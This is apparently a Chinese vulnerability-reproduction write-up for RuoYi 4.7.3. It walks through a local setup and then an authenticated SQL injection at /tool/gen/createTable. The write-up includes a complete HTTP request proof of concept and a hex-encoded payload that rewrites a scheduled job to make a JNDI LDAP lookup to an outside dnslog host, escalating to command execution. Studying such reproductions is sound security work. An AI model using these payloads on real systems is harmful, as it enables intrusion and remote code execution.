Ruoyi-4.7.3
下载https://github.com/yangzongzhuan/RuoYi/releases
找对应的版本即可
Mysql
是用phpstudy起的
修改下载源码中application-druid.yml
的Mysql连接账号密码,使用Navicat远程连接Mysql数据库,创建一个ry
数据库,将源码中的sql文件夹下的两个sql文件放到ry数据库中执行。
使用Ideal进行运行:构建后进行运行。或者导入源码到ideal中后会自动识别到maven然后点击构建。
然后到这个目录下进行运行:
打包Ruoyi为jar文件运行
下载maven并加入环境变量中,可以使用choco工具进行下载,该工具下载后自动导入到环境变量中。
进入若依源码目录并执行:
mvn clean package
打包完成之后,ruoyi-admin.jar
文件在..\RuoYi-4.7.3\ruoyi-admin\target
目录下:
运行jar文件启动服务,这样就不用每次进ideal都要索引一次了。
后台注入
注入存在路径:/tool/gen/createTable
注入POC
POST /tool/gen/createTable HTTP/1.1
cookie: JSESSIONID=9f466c7c-44ff-44eb-8859-4410a58023ad
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.102.131
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 57
Connection: keep-alive
sql=create/**/table/**/test/**/as/**/select/**/database()
Ruoyi-4.7.3修复了snakeyaml ,但可以通过这个sql注入来修改定时任务,进而继续命令执行。
利用注入命令执行
poc
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3035616932782e646e736c6f672e636e2729 WHERE job_id = 1;')
其中0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3035616932782e646e736c6f672e636e2729
是
javax.naming.InitialContext.lookup('ldap://05ai2x.dnslog.cn')
的16进制编码。
然后再执行我们修改后的命令:
最后得到结果:
通过注入绕过限制进行jndi注入,但是尝试使用jndi打内存马失败。